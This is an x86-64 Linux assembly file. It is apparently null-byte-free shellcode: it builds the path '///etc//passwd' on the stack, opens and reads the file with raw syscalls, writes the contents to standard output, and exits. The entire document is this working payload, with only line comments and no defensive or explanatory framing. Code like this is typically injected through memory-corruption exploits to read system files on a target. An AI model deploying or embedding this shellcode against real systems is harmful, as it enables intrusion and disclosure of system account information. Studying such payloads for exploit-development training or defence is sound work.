section .text
global _start


_start:
	xor rbx, rbx			; null rbx (0)
	mul rbx				; rax, rbx, rdx = 0
	xor rdi, rdi			; null rdi (0)

	push rbx			; push null terminator
	mov rbx, 0x6477737361702f2f	; move "//passwd" into rbx
	push rbx			; push "//passwd"
	mov rbx, 0x2f2f6374652f2f2f	; move "///etc//" into rbx
	push rbx			; push "///etc//"

	lea rdi, [rsp]			; copy pointer to string into rdi

	xor rsi, rsi			; null rsi (0)
	mov al, 0x02			; move open syscall number into al (rax)
	syscall				; call open

	mov rsi, rdi			; move pointer to "///etc//passwd" from rdi into rsi
	mov rdi, rax			; move file-descriptor from rax into rdi
	xor rax, rax			; null rax (0)
	mov dx, 0xfff			; move 0xfff (4095) into dx (rdx)
	syscall				; call read

	xchg rdx, rax			; exchange rdx, rax
	xor rax, rax			; null rax (0)
	inc rax				; increment rax = 1
	xor rdi, rdi			; null rdi (0)
	inc rdi				; increment rdi (1)
	syscall				; call write

	xor rdi, rdi			; null rdi (0)
	xor rax, rax			; null rax (0)
	mov al, 0x3c			; move exit syscall number into al (rax)
	syscall				; call exit